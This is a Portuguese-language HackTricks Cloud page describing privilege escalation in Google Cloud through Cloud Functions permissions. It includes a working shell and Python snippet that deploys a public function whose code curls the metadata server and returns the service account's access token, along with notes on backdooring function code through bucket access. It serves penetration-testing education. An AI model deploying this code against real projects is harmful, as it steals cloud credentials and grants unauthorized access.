GCP - Cloudfunctions Privesc
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
cloudfunctions
Mais informações sobre Cloud Functions:
cloudfunctions.functions.create
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Um atacante com esses privilégios pode criar uma nova Cloud Function com código arbitrário (malicioso) e atribuí-la a uma Service Account. Em seguida, vazar o token da Service Account a partir dos metadados para escalar privilégios para ela.
Alguns privilégios para acionar a função podem ser necessários.
Scripts de exploração para este método podem ser encontrados aqui e aqui e o arquivo .zip pré-construído pode ser encontrado aqui.
cloudfunctions.functions.update
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Um atacante com esses privilégios pode modificar o código de uma Function e até mesmo modificar a service account anexada com o objetivo de exfiltrar o token.
caution
Para implantar funções em nuvem, você também precisará de permissões actAs sobre a service account padrão de computação ou sobre a service account que é usada para construir a imagem.
Alguns privilégios extras, como a permissão .call
para a versão 1 de cloudfunctions ou o papel role/run.invoker
para acionar a função, podem ser necessários.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
caution
Se você receber o erro Permission 'run.services.setIamPolicy' denied on resource...
é porque você está usando o parâmetro --allow-unauthenticated
e não tem permissões suficientes para isso.
O script de exploração para este método pode ser encontrado aqui.
cloudfunctions.functions.sourceCodeSet
Com esta permissão, você pode obter uma URL assinada para poder fazer o upload de um arquivo para um bucket de função (mas o código da função não será alterado, você ainda precisa atualizá-lo)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Não tenho certeza de quão útil apenas essa permissão é do ponto de vista de um atacante, mas é bom saber.
cloudfunctions.functions.setIamPolicy
, iam.serviceAccounts.actAs
Dê a si mesmo qualquer um dos privilégios anteriores .update
ou .create
para escalar.
cloudfunctions.functions.update
Ter apenas permissões de cloudfunctions
, sem iam.serviceAccounts.actAs
, você não poderá atualizar a função, ENTÃO ISTO NÃO É UM PRIVESC VÁLIDO.
Acesso de Leitura e Gravação sobre o bucket
Se você tiver acesso de leitura e gravação sobre o bucket, pode monitorar mudanças no código e sempre que uma atualização no bucket acontecer, você pode atualizar o novo código com seu próprio código que a nova versão da Cloud Function será executada com o código backdoored enviado.
Você pode verificar mais sobre o ataque em:
No entanto, você não pode usar isso para pré-comprometer Cloud Functions de terceiros, porque se você criar o bucket em sua conta e der permissões públicas para que o projeto externo possa escrever sobre ele, você receberá o seguinte erro:
 (1) (1).png)
caution
No entanto, isso poderia ser usado para ataques DoS.
Acesso de Leitura e Gravação sobre o Artifact Registry
Quando uma Cloud Function é criada, uma nova imagem docker é enviada para o Artifact Registry do projeto. Tentei modificar a imagem com uma nova e até mesmo deletar a imagem atual (e a imagem cache
), e nada mudou, a cloud function continuou funcionando. Portanto, talvez possa ser possível abusar de um ataque de Condição de Corrida como com o bucket para mudar o contêiner docker que será executado, mas apenas modificar a imagem armazenada não é possível comprometer a Cloud Function.
Referências
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.